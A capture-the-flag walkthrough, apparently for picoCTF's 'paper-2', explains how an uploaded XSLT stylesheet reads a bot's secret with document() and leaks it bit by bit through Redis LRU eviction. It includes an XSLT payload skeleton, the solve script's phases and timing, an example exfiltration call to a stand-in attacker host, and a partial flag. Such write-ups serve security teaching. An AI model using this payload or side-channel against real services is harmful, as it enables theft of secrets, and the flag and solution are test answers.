Description
A piece of paper is a blank canvas, what do you want on yours? Source code: paper-2.tar.
Setup
tar -xf paper-2.tarcat app.pycat *.xml *.xsl 2>/dev/nullSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Understand the attack surface
ObservationThe app combines XSLT upload, a bot visitor carrying an auth cookie, and a CSP of script-src none with default-src self. No JavaScript, no cross-origin exfiltration. That leaves a same-origin read paired with an out-of-band leak channel.The app stores a bot's secret cookie in Redis with a 60-second TTL and allows XSLT stylesheets to be uploaded. CSP is set toscript-src 'none'anddefault-src 'self', blocking JavaScript and external exfiltration. XSLT stylesheets can usedocument()to fetch the/secretendpoint with the bot's auth context, reading the secret from the HTML. The challenge is exfiltrating this same-origin data with no JS and no external URLs.bashcat app.pyWhat didn't work first
Tried: Try to use fetch() or XHR inside the XSLT to exfiltrate the secret to an external server.
With script-src none and default-src self, the browser blocks JavaScript execution and cross-origin requests before either can fire, and the bot enforces that on the rendered page, so even an XSLT-generated script tag is inert. The path forward avoids JavaScript entirely and uses Redis access patterns as the channel.
Tried: Inject an XSS payload into the XSLT output hoping the bot's cookie is accessible via document.cookie.
Even a rendered script tag would not execute: script-src none blocks it unconditionally, with no inline exception. The bot's cookie is also HttpOnly, invisible to JavaScript regardless. The one workable read is XSLT's document(), which fetches /secret in the bot's auth context without JavaScript at all.
Learn more
Content Security Policy (CSP) is an HTTP response header that instructs browsers to only load resources (scripts, images, stylesheets, fonts, etc.) from specified origins.
script-src 'none'blocks all JavaScript execution, anddefault-src 'self'restricts all other resources to the same origin. This makes traditional XSS-based data exfiltration impossible - you can't runfetch(attacker.com, {body: secret}).XSLT (XSL Transformations) is an XML-based language for transforming XML documents. The critical function here is
document(url), which fetches an external XML or HTML document and makes it available for processing within the stylesheet. Because the XSLT processor runs server-side or in the bot's browser context,document('/secret')fetches the secret with the bot's authentication cookies attached - a same-origin read that CSP does not block.The CSP restriction creates an unusual constraint: you can read the secret within the XSLT transformation, but you cannot send it to an external server. The solution must use an entirely different channel to leak information out - in this case, the Redis LRU eviction side-channel.
Step 2Prepare marker pairs and prefill the Redis LRU buffer
ObservationRedis is set to evict least-recently-used keys first. Pre-upload marker pairs and dummy files so the zero markers are already old when the bot visits, and only the markers the bot touched survive the eviction sweep.Upload two markers per bit (one for 'this bit is 0', one for 'this bit is 1') across 10 redundant replicas, then prefill with dummy files so the LRU clock is well-aged before the bot visit.pythonpython3 solve.py --phase preparebash# Uploads marker pairs and dummy files to establish LRU baselineA marker pair is two file uploads, one per possible value of a bit. The upload endpoint is
POST /marker/bit<N>_<bit_value>: e.g./marker/bit0_0and/marker/bit0_1. Each upload is a ~20 KB blob the server stashes in Redis as a single key. There are 128 secret bits (32 hex characters) × 2 values × 10 replicas = 2,560 marker keys total before the bot ever runs. (The numbers vary across instances; the structure does not.)What didn't work first
Tried: Upload only one marker per bit (no redundant replicas) to keep the setup phase fast.
With one replica per bit, a single stray eviction or reordered timestamp flips that bit unrecoverably, and getdel gives you no second attempt. Ten replicas with a majority vote absorb the roughly five percent per-key noise in LRU ordering under concurrent writes. Cut the replicas and getting all 128 bits right in one shot stops being likely.
Tried: Skip the prefill dummy-file step to save time before the bot visit.
Without aging the markers first, both sets carry the same timestamp when the bot runs, so after it touches the ones the ordering between the two sets is indistinguishable. The prefill deliberately makes the zero markers much older, which is what tells Redis which set to evict when the postfill pushes past the memory limit.
Learn more
Redis LRU eviction is a memory management policy where Redis automatically deletes the Least Recently Used keys when it reaches its memory limit (
maxmemory). Theallkeys-lrupolicy applies this to all keys regardless of TTL. The crucial property for this attack is that accessing a key (via GET, GETDEL, or even just rendering an image that causes a server-side Redis lookup) updates that key's "last used" timestamp.The attack uses Redis as an implicit output channel: the XSLT stylesheet conditionally accesses certain Redis keys based on the secret's bit values. After the bot visits, keys that were accessed have a fresh LRU timestamp and survive eviction; keys that were never accessed are old and get evicted. By checking which keys still exist, you reconstruct which bits are 1 and which are 0.
The 10-replica design provides majority voting to handle noise: if 6+ of the 10 replicas for a bit survived eviction, call that bit 1. The math: assume an independent failure rate of ~5% per replica (occasional out-of-order eviction, lost requests). The probability of 5+ failures out of 10 is about 0.006% per bit. Across the 128 bits the chance of any bit being miscalled is ~1%, low enough that you usually get the secret right on the first
/flagattempt. Drop replicas to 5 and that error blows up to ~10% per attempt.Step 3Deploy the XSLT payload
ObservationXSLT's document() fetches /secret using the bot's own auth context, and xsl:if with contains() tests individual characters without any JavaScript. Encode each bit as a conditional img tag that touches a Redis key only when the bit is set.Generate XSLT documents using<xsl:if>withcontains()andsubstring()to test each hex character of the secret. For each bit that tests true, the stylesheet conditionally renders an<img>tag pointing to the corresponding '1' marker (which performs a Redisget(), refreshing its LRU timestamp). False bits leave the '0' markers untouched.bash# XSLT payload structure:bash<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="secret" select="document('/secret')//span[@id='secret']"/> <xsl:if test="contains('0123456789abcdef', substring($secret,1,1))"> <img src="/marker/bit0_1"/> </xsl:if> <!-- ... repeat for each bit position --> </xsl:template> </xsl:stylesheet>pythonpython3 solve.py --phase payloadWhat didn't work first
Tried: Use xsl:value-of to write the secret directly into the rendered page output and read it from the bot's DOM.
The rendered page exists only inside the bot's renderer, and nothing reads that DOM from outside: no JavaScript, no callback URL, no return channel at all. The marker fetches matter because they leave observable Redis state that you can query on your own after the session ends.
Tried: Use contains($secret, '0') to test whether the digit '0' appears anywhere in the secret string, then branch on that.
contains() over the whole string says only whether a character appears somewhere, not where. A long enough secret contains every hex digit at least once, which makes the test useless for positions. Extract the Nth character with substring, then test which subset of hex digits it belongs to for a positional bit-level signal.
Learn more
XSLT conditional rendering (
<xsl:if>) is key to this side channel. Thesubstring($secret, N, 1)function extracts the Nth character of the secret hex string. Thecontains('0123456789ab', char)predicate tests whether that character is in a specific set of hex digits, effectively probing individual bits of the secret without any JavaScript.The
<img src="/marker/bit_N_1"/>tag causes the browser (running as the bot) to make a GET request to the server for that marker image. The server processes this GET request, performs a Redis lookup for the marker key, and returns the image data. This Redis lookup is the crucial access that refreshes the LRU timestamp.The bit decomposition converts each hex character (4 bits) into 4 binary decisions: 32 hex chars × 4 bits = 128 bits total. Each bit position N gets one XSLT
contains()test against the subset of hex digits where that bit is 1. For example, bit 3 (the high bit of a hex digit) is 1 for the digits{8, 9, a, b, c, d, e, f}, so the test iscontains('89abcdef', substring($secret, position, 1)). Bit 0 (the low bit) is 1 for{1, 3, 5, 7, 9, b, d, f}, and so on. This binary representation is critical becausecontains()can test set membership but not arbitrary comparisons. By decomposing into bits you reduce each test to a simple yes/no question answerable with XSLT's limited string functions. For more on these CSP-style web side-channels see Web challenges and real-world bug patterns.Step 4Trigger the bot and run eviction
ObservationThe bot's session lives 60 seconds, and starting the postfill before it finishes fetching markers evicts ones that have not been refreshed yet. Leave a quiet window between the visit and the postfill.Submit your XSLT page to the bot, wait for every marker GET to land in Redis, and only then start the postfill that pushes maxmemory over the limit. Get the timing wrong and you evict the wrong markers.pythonpython3 solve.py --phase triggerbash# Submits page to bot, waits ~30s, then uploads postfill to trigger evictionConcrete timing budget for a 60s session TTL:
- t=0s: submit XSLT to the bot.
- t=0..25s: bot fetches markers; each GET refreshes that key's LRU timestamp.
- t=25..30s: quiet window. Do nothing. Lets every in-flight marker GET settle into Redis before any postfill writes change LRU ordering. Skipping this window is the most common reason runs fail.
- t=30..50s: postfill begins. Ramp uploads in parallel until Redis crosses maxmemory and starts evicting.
- t=50..58s: HEAD-probe markers to record survivors. Stop probing before the 60s TTL expires so you don't accidentally re-touch keys you haven't yet read.
The pre-fill from the previous step matters for the same reason: it ages every "0" marker to be older than the "1" markers the bot just touched, so the LRU evicts the right set.
What didn't work first
Tried: Start the postfill immediately after submitting the page to the bot without waiting for the quiet window.
Start the postfill while the bot is still fetching and Redis begins evicting before every marker timestamp has updated, displacing one the bot has not reached yet and reading that bit as zero. A quiet window of 25 to 30 seconds lets every in-flight request land before any eviction pressure arrives.
Tried: Use GET requests instead of HEAD requests to probe marker survival after the postfill.
A GET against a surviving marker performs a Redis lookup and refreshes its timestamp. Probe a zero marker that happened to survive and you make it look freshly used, so it survives further pressure and corrupts the signal. HEAD answers from key existence without touching the key, which keeps the state frozen through recovery.
Learn more
The timing of this attack is critical. The 60-second TTL on the bot's session means you have a hard deadline: the XSLT must process and all marker accesses must complete within that window. The ~25-second loading time for the conditional image requests is the main bottleneck - this is the time the bot spends rendering the page and fetching all the "1" markers.
The postfill phase is what triggers the actual eviction. By uploading thousands of large (60 KB) dummy files, you push Redis past its configured maxmemory limit. Redis then begins evicting keys in LRU order - oldest first. The untouched "0" markers (which were last accessed during the prepare phase, before the bot visit) are older than the recently-accessed "1" markers, so they get evicted first.
The timing between "bot finishes" and "postfill starts" is delicate: you must wait long enough for all marker requests to complete (so LRU timestamps are updated), but you must upload the postfill before the 60-second TTL expires (so the session is still valid during the XSLT processing). This is why the solve script has carefully tuned wait times.
Step 5Recover the secret with HEAD requests
ObservationA GET probe refreshes the timestamp of any marker that survived, corrupting the signal, and the flag endpoint uses getdel so there is exactly one attempt. Probe with HEAD, and take a majority vote across all ten replicas before submitting.Issue HEAD requests to all 2,560 markers. Alive markers (a 200 response) were accessed by the bot = bit is '1'. Evicted markers = bit is '0'. Use majority voting across 10 replicas per bit to reconstruct the full 32-character hex secret. Submit it to/flag- the endpoint usesgetdelso you only get one attempt.pythonpython3 solve.py --phase recoverbash# Queries all markers, reconstructs secret via majority vote, submits to /flagExpected output
picoCTF{...}What didn't work first
Tried: Use GET requests to probe all 2,560 markers to check which ones are alive.
GET probes refresh the timestamps of whatever survived, which corrupts the channel mid-read: any surviving zero marker you touch may then outlast a genuine one in the next eviction. HEAD answers from a Redis existence check, which does not update the key's LRU timestamp, preserving the ordering that encodes the secret.
Tried: Guess the secret as a majority vote but submit immediately when a single replica per bit is confirmed, without waiting for all 10 replicas.
Voting over a subset of replicas amplifies the per-bit error: check three of ten and one surviving zero marker flips a bit. With getdel giving no second attempt, one wrong bit wastes the run. Check all ten and require six alive before calling a bit set, and the error probability drops low enough to trust.
Learn more
The recovery phase uses HTTP HEAD requests (which fetch only headers, not body) to check whether each marker key still exists in Redis. A 200 response with content indicates the key is alive (bit = 1); a 404 or empty response indicates the key was evicted (bit = 0). Using HEAD instead of GET avoids accidentally refreshing the LRU timestamps of the remaining "0" markers during recovery.
The majority voting scheme with 10 replicas per bit handles noise from imperfect eviction ordering. If a bit's "1" marker was accidentally evicted (false negative) or a "0" marker survived (false positive), the other 9 replicas provide redundancy. Requiring 6+ out of 10 alive replicas to call a bit "1" gives a low error probability assuming eviction is roughly LRU-ordered.
The single-attempt constraint on
/flag(via Redisgetdel) is the highest-stakes element of the challenge. It means you must reconstruct the secret correctly on the first try. This motivates all the engineering around replicas, timing, and majority voting - there is no retry if the reconstruction is wrong.This attack is a beautiful example of a cache side-channel: information leaks not through direct output but through observable differences in cache state (which keys survived eviction). Similar techniques appear in CPU cache timing attacks like Spectre/Meltdown, DRAM-level Rowhammer attacks, and distributed cache timing attacks against web applications.
Interactive tools
- URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.
- Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
- Frequency AnalysisAnalyze letter frequencies in a substitution cipher and interactively build the decryption mapping with auto-filled guesses.
Flag
Reveal flag
picoCTF{i_l1ke_frames_on_my_canvas_...}
Paper-2 is an XSLT + Redis LRU side-channel attack. Since CSP blocks JS and external URLs, XSLT's document() function reads the secret in-origin, and Redis eviction patterns leak which bits were accessed by the bot. The 60-second TTL and single-guess /flag endpoint make this a precision timing attack. The suffix after i_l1ke_frames_on_my_canvas_ is a 32-char hex secret generated per instance.